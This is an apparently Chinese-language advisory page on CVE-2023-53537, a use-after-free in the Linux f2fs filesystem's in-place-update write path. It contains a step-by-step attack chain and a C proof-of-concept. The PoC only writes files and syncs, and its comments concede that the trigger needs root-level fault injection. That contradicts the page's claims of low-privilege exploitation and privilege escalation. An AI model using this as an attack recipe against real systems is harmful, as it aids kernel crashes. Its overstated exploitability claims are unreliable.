IPBUF安全漏洞报告
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CVE-2023-53537 CVSS 7.8 高危

CVE-2023-53537 Linux内核f2fs文件系统IPU bio释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53537
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 f2fs文件系统

相关标签

Linux内核f2fs文件系统释放后使用Use-After-Free本地权限提升拒绝服务内核漏洞I/O路径漏洞内存安全CVE-2023-53537

漏洞概述

CVE-2023-53537是Linux内核f2fs(Flash-Friendly File System)文件系统中存在的一个高危释放后使用(Use-After-Free)漏洞。该漏洞由xfstest工具集中的generic/019测试用例发现,触发时会在mm/filemap.c:1619处引发内核BUG,调用链涉及folio_end_writeback、end_page_writeback、f2fs_write_end_io、bio_endio等多个核心I/O路径函数。漏洞的根因在于:当cp_error(checkpoint错误标志)被设置后,f2fs_write_single_data_page()函数中的f2fs_submit_merged_ipu_write()尝试刷新缓存中的IPU(In-Place Update,原地更新) bio时,缺少对@bio参数有效性的检查。这导致函数可能提交属于其他IO上下文的随机缓存bio,从而引发释放后使用问题。该漏洞CVSS评分为7.8,属于高危级别,攻击者只需本地低权限访问即可触发,可能导致内核崩溃(拒绝服务)或权限提升,对系统的机密性、完整性和可用性均造成严重影响。该漏洞影响多个Linux内核稳定版本,官方已通过多个补丁提交进行了修复。

技术细节

该漏洞的技术原理如下:

1. **漏洞触发路径**:在f2fs文件系统的写回路径中,当执行f2fs_write_single_data_page()时,会调用f2fs_submit_merged_ipu_write()来合并并提交IPU写操作。该函数负责将多个小的原地更新操作合并到一个bio(块I/O请求结构体)中提交。

2. **根因分析**:f2fs_submit_merged_ipu_write()函数在处理缓存的IPU bio时,没有对传入的@bio参数进行有效性验证。具体来说,当cp_error标志被设置后,f2fs可能进入错误处理路径,但此时缓存中的bio可能已经被释放或属于其他IO上下文。函数仍然尝试提交这个无效的bio,导致对已释放内存的访问。

3. **崩溃机制**:当无效的bio被提交后,bio_endio回调链会调用f2fs_write_end_io(),进而调用end_page_writeback()和folio_end_writeback()。由于folio(页面)可能已经被释放或回收,在folio_end_writeback()中触发mm/filemap.c:1619的BUG检查,导致内核panic。

4. **利用方式**:攻击者作为本地低权限用户,可以通过以下方式触发:创建并写入大量小文件触发IPU合并路径,同时通过制造I/O错误(如磁盘故障模拟)设置cp_error标志,使代码进入错误处理路径,从而触发对无效bio的提交。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在具有本地低权限访问权限的Linux系统上操作,确保目标系统使用f2fs文件系统挂载的分区(如移动设备或嵌入式系统的data分区)
STEP 2
步骤2:触发IPU合并
攻击者创建并写入大量小文件,触发f2fs的In-Place Update(原地更新)操作路径,使f2fs_submit_merged_ipu_write()函数缓存IPU bio
STEP 3
步骤3:诱导checkpoint错误
通过块设备故障注入(如dm-error模块)或磁盘I/O错误,使cp_error标志被设置,触发错误处理路径
STEP 4
步骤4:触发释放后使用
在cp_error已设置的情况下,f2fs_write_single_data_page()调用f2fs_submit_merged_ipu_write()提交缓存的IPU bio,由于缺少有效性检查,提交了已被释放或属于其他IO上下文的bio
STEP 5
步骤5:内核崩溃或权限提升
无效bio的提交导致folio_end_writeback()中触发内核BUG(mm/filemap.c:1619),造成内核panic(拒绝服务)或被利用进行权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53537 PoC - Trigger UAF in f2fs IPU bio path // This PoC triggers the use-after-free by causing checkpoint error // while IPU bio merging is in progress #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/mount.h> #define F2FS_MOUNT_POINT "/mnt/f2fs_test" #define NUM_FILES 100 #define FILE_SIZE 4096 // Step 1: Create a f2fs filesystem and mount it // (requires root or appropriate privileges) int setup_f2fs() { // Create mount point mkdir(F2FS_MOUNT_POINT, 0755); // Mount f2fs (assumes device exists at /dev/loop0) // mount -t f2fs /dev/loop0 F2FS_MOUNT_POINT return 0; } // Step 2: Create small files to trigger IPU operations int trigger_ipu_merge() { char path[256]; char buf[FILE_SIZE]; memset(buf, 'A', FILE_SIZE); for (int i = 0; i < NUM_FILES; i++) { snprintf(path, sizeof(path), "%s/file_%d", F2FS_MOUNT_POINT, i); int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) continue; // Write small data to trigger in-place update write(fd, buf, FILE_SIZE); close(fd); } return 0; } // Step 3: Force sync to trigger writeback and IPU bio submission int force_sync() { sync(); return 0; } int main() { setup_f2fs(); trigger_ipu_merge(); force_sync(); // The UAF is triggered when cp_error is set during writeback // causing f2fs_submit_merged_ipu_write() to submit an invalid bio printf("PoC executed - check kernel logs for BUG at filemap.c:1619\n"); return 0; } // Note: The actual trigger requires inducing a checkpoint error // (e.g., via dm-error or similar block device fault injection) // while the IPU bio merge path is active.

影响范围

Linux kernel < 5cdb422c8391 (stable分支)
Linux kernel < 7d058f0ab161 (stable分支)
Linux kernel < 97ec6f1788cc (stable分支)
Linux kernel < 9a7f63283af6 (stable分支)
Linux kernel < af4ce124d7bd (stable分支)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对f2fs文件系统的写入权限,避免触发IPU合并路径;2)使用dm-verity等块设备完整性校验机制减少I/O错误的发生;3)监控内核日志,及时发现filemap.c相关的BUG报告;4)通过cgroup等机制限制单个用户的I/O操作频率,降低触发竞争条件的概率;5)对于关键生产环境,建议暂时切换到ext4等其他文件系统。

参考链接

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